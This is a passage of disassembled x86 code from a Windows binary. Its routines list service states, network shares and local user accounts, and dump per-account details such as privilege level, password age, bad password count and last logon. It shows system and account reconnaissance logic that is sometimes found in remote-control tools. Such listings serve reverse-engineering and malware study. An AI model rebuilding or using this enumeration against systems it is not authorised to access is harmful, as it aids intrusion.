		test	eax, eax
		jnz	short loc_418F1A
		call	near ptr 26A0E98h
		nop
		cmp	eax, 0EAh
		jnz	loc_418FCE


loc_418F1A:				; CODE XREF: sub_418EA8+5Fj
		xor	edi, edi
		cmp	[ebp+var_4], ebx
		jle	loc_418FC5
		lea	esi, [ebp+var_188]


loc_418F2B:				; CODE XREF: sub_418EA8+117j
		mov	eax, [esi+8]
		dec	eax
		jz	short loc_418F74
		dec	eax
		jz	short loc_418F6D
		dec	eax
		jz	short loc_418F66
		dec	eax
		jz	short loc_418F5F
		dec	eax
		jz	short loc_418F58
		dec	eax
		jz	short loc_418F51
		dec	eax
		jz	short loc_418F4A
		push	offset aUnknown_0 ; "	 Unknown"
		jmp	short loc_418F79
; ---------------------------------------------------------------------------


loc_418F4A:				; CODE XREF: sub_418EA8+99j
		push	offset aPaused_0 ; "	 Paused"
		jmp	short loc_418F79
; ---------------------------------------------------------------------------


loc_418F51:				; CODE XREF: sub_418EA8+96j
		push	offset aPausing	; "    Pausing"
		jmp	short loc_418F79
; ---------------------------------------------------------------------------


loc_418F58:				; CODE XREF: sub_418EA8+93j
		push	offset aContinuing ; " Continuing"
		jmp	short loc_418F79
; ---------------------------------------------------------------------------


loc_418F5F:				; CODE XREF: sub_418EA8+90j
		push	offset aRunning	; "    Running"
		jmp	short loc_418F79
; ---------------------------------------------------------------------------


loc_418F66:				; CODE XREF: sub_418EA8+8Dj
		push	offset aStoping	; "    Stoping"
		jmp	short loc_418F79
; ---------------------------------------------------------------------------


loc_418F6D:				; CODE XREF: sub_418EA8+8Aj
		push	offset aStarting ; "   Starting"
		jmp	short loc_418F79
; ---------------------------------------------------------------------------


loc_418F74:				; CODE XREF: sub_418EA8+87j
		push	offset aStopped	; "    Stopped"


loc_418F79:				; CODE XREF: sub_418EA8+A0j
					; sub_418EA8+A7j ...
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_41C266
		pop	ecx
		lea	eax, [ebp+var_20]
		pop	ecx
		push	dword ptr [esi]
		push	dword ptr [esi-4]
		push	eax
		lea	eax, [ebp+var_38C]
		push	offset aSSS	; "%s: %s (%s)"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_38C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 28h
		inc	edi
		add	esi, 24h
		cmp	edi, [ebp+var_4]
		jl	loc_418F2B


loc_418FC5:				; CODE XREF: sub_418EA8+77j
		cmp	[ebp+var_8], ebx
		jnz	loc_418EE0


loc_418FCE:				; CODE XREF: sub_418EA8+6Cj
		push	[ebp+var_C]
		call	dword_4CB8CC
		xor	eax, eax
		pop	edi
		cmp	eax, [ebp+var_4]
		pop	esi
		pop	ebx
		sbb	eax, eax
		neg	eax
		leave
		retn
sub_418EA8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418FE5	proc near		; CODE XREF: sub_401ACD:loc_406064p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		test	edi, edi
		jz	loc_41907F
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, 0
		jz	short loc_41900E
		dec	eax
		jnz	short loc_41905F
		push	edi
		push	0
		call	sub_4191B8
		pop	ecx
		pop	ecx
		jmp	short loc_41905B
; ---------------------------------------------------------------------------


loc_41900E:				; CODE XREF: sub_418FE5+18j
		cmp	[ebp+arg_8], 0
		jnz	short loc_41904D
		push	24h
		push	edi
		call	sub_41C990
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41904D
		push	57h
		pop	eax


loc_419025:				; CODE XREF: sub_418FE5+78j
		push	eax
		call	sub_4199AC
		pop	ecx
		push	eax
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_4DB63C
		push	off_439518[eax*4]
		push	offset unk_439BC4
		push	esi
		call	sub_41C266
		add	esp, 14h
		jmp	short loc_41909F
; ---------------------------------------------------------------------------


loc_41904D:				; CODE XREF: sub_418FE5+2Dj
					; sub_418FE5+3Bj
		push	[ebp+arg_8]
		push	edi
		push	0
		call	sub_41910C
		add	esp, 0Ch


loc_41905B:				; CODE XREF: sub_418FE5+27j
		test	eax, eax
		jnz	short loc_419025


loc_41905F:				; CODE XREF: sub_418FE5+1Bj
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_4DB63C
		push	off_43951C[eax*4]
		push	offset dword_439BA8
		push	esi
		call	sub_41C266
		add	esp, 10h
		jmp	short loc_41909F
; ---------------------------------------------------------------------------


loc_41907F:				; CODE XREF: sub_418FE5+Aj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_4DB63C
		lea	eax, [eax+eax*2]
		push	off_439518[eax*4]
		push	offset unk_439B84
		push	esi
		call	sub_41C266
		add	esp, 0Ch


loc_41909F:				; CODE XREF: sub_418FE5+66j
					; sub_418FE5+98j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_418FE5	endp


; =============== S U B	R O U T	I N E =======================================



sub_4190A5	proc near		; CODE XREF: sub_41A3C6+245p

arg_0		= dword	ptr  4
arg_C		= dword	ptr  10h

		push	esi
		xor	esi, esi
		cmp	[esp+4+arg_0], esi
		jnz	short loc_4190B2
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4190B2:				; CODE XREF: sub_4190A5+7j
		push	ebx
		push	ebp
		push	edi
		push	esi
		push	esi
		push	esi
		mov	edi, dword_427188
		push	esi
		push	0FFFFFFFFh
		mov	ebx, 400h
		push	[esp+24h+arg_0]
		push	ebx
		push	esi
		call	edi
		test	byte_4DB83C, 1
		mov	ebp, eax
		jnz	short loc_4190EF
		or	byte_4DB83C, 1
		lea	eax, [ebp+1]
		push	eax
		call	sub_41D9A5
		pop	ecx
		mov	dword_4DB5DC, eax


loc_4190EF:				; CODE XREF: sub_4190A5+32j
		push	esi
		push	esi
		push	ebp
		push	dword_4DB5DC
		push	0FFFFFFFFh
		push	[esp+18h+arg_C]
		push	ebx
		push	esi
		call	edi
		mov	eax, dword_4DB5DC
		pop	edi
		pop	ebp
		pop	ebx
		pop	esi
		retn
sub_4190A5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41910C	proc near		; CODE XREF: sub_418FE5+6Ep
					; sub_41A6EA+18Ap ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	edi
		push	[ebp+arg_0]
		call	sub_419177
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_419177
		push	24h
		mov	[ebp+var_20], eax
		push	[ebp+arg_4]
		call	sub_41C990
		push	[ebp+arg_8]
		mov	[ebp+var_14], 7Fh
		neg	eax
		sbb	eax, eax
		and	[ebp+var_18], 0
		or	[ebp+var_10], 0FFFFFFFFh
		and	[ebp+var_C], 0
		and	eax, 80000000h
		mov	[ebp+var_1C], eax
		call	sub_419177
		add	esp, 14h
		mov	[ebp+var_8], eax
		and	[ebp+var_4], 0
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		push	2
		push	edi
		call	dword_4CB8C8
		pop	edi
		leave
		retn
sub_41910C	endp


; =============== S U B	R O U T	I N E =======================================



sub_419177	proc near		; CODE XREF: sub_41910C+Ap
					; sub_41910C+14p ...

arg_0		= dword	ptr  4

		push	ebp
		mov	ebp, [esp+4+arg_0]
		xor	eax, eax
		cmp	ebp, eax
		jnz	short loc_419184
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_419184:				; CODE XREF: sub_419177+9j
		push	ebx
		push	esi
		mov	esi, dword_4270E8
		push	edi
		push	eax
		push	eax
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	eax
		call	esi
		mov	edi, eax
		lea	eax, [edi+edi+2]
		push	eax
		call	sub_41D9A5
		pop	ecx
		mov	ebx, eax
		push	edi
		push	ebx
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	0
		call	esi
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_419177	endp


; =============== S U B	R O U T	I N E =======================================



sub_4191B8	proc near		; CODE XREF: sub_418FE5+20p
					; sub_41A3C6+1BBp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_419177
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_419177
		pop	ecx
		pop	ecx
		push	0
		push	eax
		push	esi
		call	dword_4CB8A0
		pop	esi
		retn
sub_4191B8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4191DB	proc near		; CODE XREF: sub_401ACD+45AEp

var_210		= byte ptr -210h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_C]
		call	sub_419177
		xor	esi, esi
		mov	[ebp+var_C], eax
		push	esi
		mov	[ebp+arg_C], esi
		push	[ebp+arg_8]
		mov	[ebp+var_8], esi
		mov	[ebp+var_10], esi
		push	offset aShareNameResou ; "Share	name:	 Resource:		 "...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 18h


loc_419214:				; CODE XREF: sub_4191DB+10Fj
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	[ebp+var_C]
		call	dword_4CB918
		mov	ebx, eax
		cmp	ebx, esi
		jz	short loc_419277
		cmp	ebx, 0EAh
		jz	short loc_419277
		push	ebx
		push	ebx
		call	sub_4199AC
		pop	ecx
		push	eax
		lea	eax, [ebp+var_210]
		push	offset unk_439C10
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 24h
		jmp	short loc_4192E4
; ---------------------------------------------------------------------------


loc_419277:				; CODE XREF: sub_4191DB+5Dj
					; sub_4191DB+65j
		push	1
		pop	edi
		cmp	[ebp+arg_C], edi
		jb	short loc_4192DB
		mov	eax, [ebp+var_4]
		lea	esi, [eax+14h]


loc_419285:				; CODE XREF: sub_4191DB+FCj
		push	dword ptr [esi+10h]
		call	dword_4CB8BC
		test	eax, eax
		mov	eax, offset aYes ; "Yes"
		jnz	short loc_41929C
		mov	eax, offset aNo	; "No"


loc_41929C:				; CODE XREF: sub_4191DB+BAj
		push	eax
		lea	eax, [ebp+var_210]
		push	dword ptr [esi]
		push	dword ptr [esi+4]
		push	dword ptr [esi-14h]
		push	offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 2Ch
		add	esi, 28h
		inc	edi
		cmp	edi, [ebp+arg_C]
		jbe	short loc_419285
		xor	esi, esi


loc_4192DB:				; CODE XREF: sub_4191DB+A2j
		push	[ebp+var_4]
		call	dword_4CBA64


loc_4192E4:				; CODE XREF: sub_4191DB+9Aj
		cmp	ebx, 0EAh
		jz	loc_419214
		xor	eax, eax
		cmp	ebx, esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_4191DB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4192FC	proc near		; CODE XREF: sub_401ACD:loc_4060EDp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		cmp	ebx, edi
		jz	loc_4193A1
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, edi
		jz	short loc_41933E
		dec	eax
		jz	short loc_419333
		dec	eax
		jnz	short loc_419359
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	ebx
		push	edi
		call	sub_419443
		add	esp, 14h
		jmp	short loc_419355
; ---------------------------------------------------------------------------


loc_419333:				; CODE XREF: sub_4192FC+1Dj
		push	ebx
		push	edi
		call	sub_419422
		pop	ecx
		pop	ecx
		jmp	short loc_419355
; ---------------------------------------------------------------------------


loc_41933E:				; CODE XREF: sub_4192FC+1Aj
		cmp	[ebp+arg_8], edi
		jz	short loc_419352
		push	[ebp+arg_8]
		push	ebx
		push	edi
		call	sub_4193C8
		add	esp, 0Ch
		jmp	short loc_419355
; ---------------------------------------------------------------------------


loc_419352:				; CODE XREF: sub_4192FC+45j
		push	57h
		pop	eax


loc_419355:				; CODE XREF: sub_4192FC+35j
					; sub_4192FC+40j ...
		cmp	eax, edi
		jnz	short loc_419379


loc_419359:				; CODE XREF: sub_4192FC+20j
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_4DB840
		push	off_43951C[eax*4]
		push	offset unk_439CC8
		push	esi
		call	sub_41C266
		add	esp, 10h
		jmp	short loc_4193C1
; ---------------------------------------------------------------------------


loc_419379:				; CODE XREF: sub_4192FC+5Bj
		push	eax
		call	sub_4199AC
		pop	ecx
		push	eax
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_4DB840
		push	off_439518[eax*4]
		push	offset unk_439C98
		push	esi
		call	sub_41C266
		add	esp, 14h
		jmp	short loc_4193C1
; ---------------------------------------------------------------------------


loc_4193A1:				; CODE XREF: sub_4192FC+Dj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_4DB840
		lea	eax, [eax+eax*2]
		push	off_439518[eax*4]
		push	offset unk_439C70
		push	esi
		call	sub_41C266
		add	esp, 0Ch


loc_4193C1:				; CODE XREF: sub_4192FC+7Bj
					; sub_4192FC+A3j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4192FC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4193C8	proc near		; CODE XREF: sub_4192FC+4Cp

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		and	[ebp+var_4], 0
		push	edi
		push	[ebp+arg_0]
		call	sub_419177
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_419177
		push	[ebp+arg_8]
		mov	[ebp+var_24], eax
		call	sub_419177
		add	esp, 0Ch
		mov	[ebp+var_20], eax
		and	[ebp+var_14], 0
		and	[ebp+var_10], 0
		push	1
		and	[ebp+var_8], 0
		pop	eax
		lea	ecx, [ebp+var_4]
		push	ecx
		lea	ecx, [ebp+var_24]
		push	ecx
		push	eax
		push	edi
		mov	[ebp+var_18], eax
		mov	[ebp+var_C], 10001h
		call	dword_4CB8AC
		pop	edi
		leave
		retn
sub_4193C8	endp


; =============== S U B	R O U T	I N E =======================================



sub_419422	proc near		; CODE XREF: sub_4192FC+39p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_419177
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_419177
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	dword_4CB89C
		pop	esi
		retn
sub_419422	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419443	proc near		; CODE XREF: sub_4192FC+2Dp

var_204		= byte ptr -204h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		and	[ebp+var_4], 0
		push	esi
		push	[ebp+arg_0]
		call	sub_419177
		push	[ebp+arg_4]
		mov	esi, eax
		call	sub_419177
		pop	ecx
		pop	ecx
		lea	ecx, [ebp+var_4]
		push	ecx
		push	0Bh
		push	eax
		push	esi
		call	dword_4CBA2C
		test	eax, eax
		mov	[ebp+arg_0], eax
		jnz	loc_4197EB
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	loc_419826
		push	ebx
		push	edi
		push	dword ptr [eax]
		lea	eax, [ebp+var_204]
		push	offset aAccountS ; "Account: %S"
		push	eax
		call	sub_41C266
		mov	esi, [ebp+arg_10]
		mov	edi, [ebp+arg_C]
		mov	ebx, [ebp+arg_8]
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+0Ch]
		lea	eax, [ebp+var_204]
		push	offset aFullNameS ; "Full Name:	%S"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+8]
		lea	eax, [ebp+var_204]
		push	offset aUserCommentS ; "User Comment: %S"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_204]
		push	offset aCommentS ; "Comment: %S"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		mov	eax, [eax+10h]
		sub	eax, 0
		jz	short loc_419562
		dec	eax
		jz	short loc_41955B
		dec	eax
		jz	short loc_419554
		mov	eax, offset aUnknown ; "Unknown"
		jmp	short loc_419567
; ---------------------------------------------------------------------------


loc_419554:				; CODE XREF: sub_419443+108j
		mov	eax, offset aAdministrator ; "Administrator"
		jmp	short loc_419567
; ---------------------------------------------------------------------------


loc_41955B:				; CODE XREF: sub_419443+105j
		mov	eax, offset aUser_0 ; "User"
		jmp	short loc_419567
; ---------------------------------------------------------------------------


loc_419562:				; CODE XREF: sub_419443+102j
		mov	eax, offset aGuest ; "Guest"


loc_419567:				; CODE XREF: sub_419443+10Fj
					; sub_419443+116j ...
		push	eax
		lea	eax, [ebp+var_204]
		push	offset aPrivilegeLevel ; "Privilege Level: %s"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+14h]
		lea	eax, [ebp+var_204]
		push	offset aAuthFlagsD ; "Auth Flags: %d"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+1Ch]
		lea	eax, [ebp+var_204]
		push	offset aHomeDirectoryS ; "Home Directory: %S"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+20h]
		lea	eax, [ebp+var_204]
		push	offset aParametersS ; "Parameters: %S"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+18h]
		lea	eax, [ebp+var_204]
		push	offset aPasswordAgeD ; "Password Age: %d"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+2Ch]
		lea	eax, [ebp+var_204]
		push	offset aBadPasswordCou ; "Bad Password Count: %d"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+30h]
		lea	eax, [ebp+var_204]
		push	offset aNumberOfLogins ; "Number of Logins: %d"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+24h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogonD ; "Last Logon: %d"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+28h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogoffD ; "Last Logoff: %d"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+34h]
		lea	eax, [ebp+var_204]
		push	offset aLogonServerS ; "Logon Server: %S"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+3Ch]
		lea	eax, [ebp+var_204]
		push	offset aWorkstationsS ;	"Workstations: %S"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+38h]
		lea	eax, [ebp+var_204]
		push	offset aCountryCodeD ; "Country	Code: %d"
		push	eax
		call	sub_41C266
		push	1
		push	esi
		lea	eax, [ebp+var_204]
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+4Ch]
		lea	eax, [ebp+var_204]
		push	offset aUserSLanguageD ; "User's Language: %d"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+40h]
		lea	eax, [ebp+var_204]
		push	offset aMax_StorageD ; "Max. Storage: %d"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+44h]
		lea	eax, [ebp+var_204]
		push	offset aUnitsPerWeekD ;	"Units Per Week: %d"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		add	esp, 20h
		pop	edi
		pop	ebx
		jmp	short loc_419817
; ---------------------------------------------------------------------------


loc_4197EB:				; CODE XREF: sub_419443+35j
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_439CE8
		push	eax
		call	sub_41C266
		push	0
		lea	eax, [ebp+var_204]
		push	[ebp+arg_10]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_409869
		add	esp, 20h


loc_419817:				; CODE XREF: sub_419443+3A6j
		cmp	[ebp+var_4], 0
		jz	short loc_419826
		push	[ebp+var_4]
		call	dword_4CBA64


loc_419826:				; CODE XREF: sub_419443+40j
					; sub_419443+3D8j
		mov	eax, [ebp+arg_0]
		pop	esi
		leave
		retn
sub_419443	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41982C	proc near		; CODE XREF: sub_401ACD+463Ap

var_218		= byte ptr -218h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 218h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	[ebp+arg_C]
		mov	[ebp+var_4], esi
		call	sub_419177
		push	esi
		mov	[ebp+var_14], eax
		push	[ebp+arg_8]
		mov	[ebp+arg_C], esi
		mov	[ebp+var_18], esi
		mov	[ebp+var_10], esi
		push	offset aUsernameAccoun ; "Username accounts for	local system:"
		mov	[ebp+var_8], esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 18h


loc_41986B:				; CODE XREF: sub_41982C+135j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	2
		push	esi
		push	[ebp+var_14]
		call	dword_4CB934
		cmp	eax, esi
		mov	[ebp+var_C], eax
		jz	short loc_4198CC
		cmp	eax, 0EAh
		jz	short loc_4198CC
		push	eax
		push	eax
		call	sub_4199AC
		pop	ecx
		push	eax
		lea	eax, [ebp+var_218]
		push	offset unk_439ED8
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 24h
		jmp	short loc_419947
; ---------------------------------------------------------------------------


loc_4198CC:				; CODE XREF: sub_41982C+62j
					; sub_41982C+69j
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	loc_41995A
		xor	ebx, ebx
		cmp	[ebp+arg_C], esi
		jbe	short loc_419947


loc_4198DE:				; CODE XREF: sub_41982C+EDj
		cmp	edi, esi
		jz	short loc_41991D
		push	dword ptr [edi]
		lea	eax, [ebp+var_218]
		push	offset aS_4	; "  %S"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h
		add	edi, 4
		inc	[ebp+var_8]
		inc	ebx
		cmp	ebx, [ebp+arg_C]
		jb	short loc_4198DE
		jmp	short loc_419947
; ---------------------------------------------------------------------------


loc_41991D:				; CODE XREF: sub_41982C+B4j
		lea	eax, [ebp+var_218]
		push	offset unk_439EA4
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 1Ch


loc_419947:				; CODE XREF: sub_41982C+9Ej
					; sub_41982C+B0j ...
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	short loc_41995A
		push	edi
		call	dword_4CBA64
		xor	edi, edi
		mov	[ebp+var_4], edi


loc_41995A:				; CODE XREF: sub_41982C+A5j
					; sub_41982C+120j
		cmp	[ebp+var_C], 0EAh
		jz	loc_41986B
		cmp	edi, esi
		jz	short loc_419972
		push	edi
		call	dword_4CBA64


loc_419972:				; CODE XREF: sub_41982C+13Dj
		push	[ebp+var_8]
		lea	eax, [ebp+var_218]
		push	offset aTotalUsersFoun ; "Total	users found: %d."
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h
		xor	eax, eax
		cmp	[ebp+var_C], esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_41982C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4199AC	proc near		; CODE XREF: sub_418FE5+41p
					; sub_4191DB+69p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 858h
		cmp	eax, ecx
		ja	loc_419A5E
		jz	loc_419A57
		cmp	eax, 7Bh
		ja	short loc_419A23
		jz	short loc_419A19
		cmp	eax, 5
		jz	short loc_419A0F
		cmp	eax, 8
		jz	short loc_419A05
		cmp	eax, 32h
		jz	short loc_4199FB
		cmp	eax, 35h
		jz	short loc_4199F1
		cmp	eax, 57h
		jnz	loc_419AAD
		push	offset aInvalidParamet ; "Invalid parameter."
		jmp	loc_419ACE
; ---------------------------------------------------------------------------


loc_4199F1:				; CODE XREF: sub_4199AC+30j
		push	offset aServerNameNotF ; "Server name not found."
		jmp	loc_419ACE
; ---------------------------------------------------------------------------


loc_4199FB:				; CODE XREF: sub_4199AC+2Bj
		push	offset aThisNetworkReq ; "This network request is not supported."
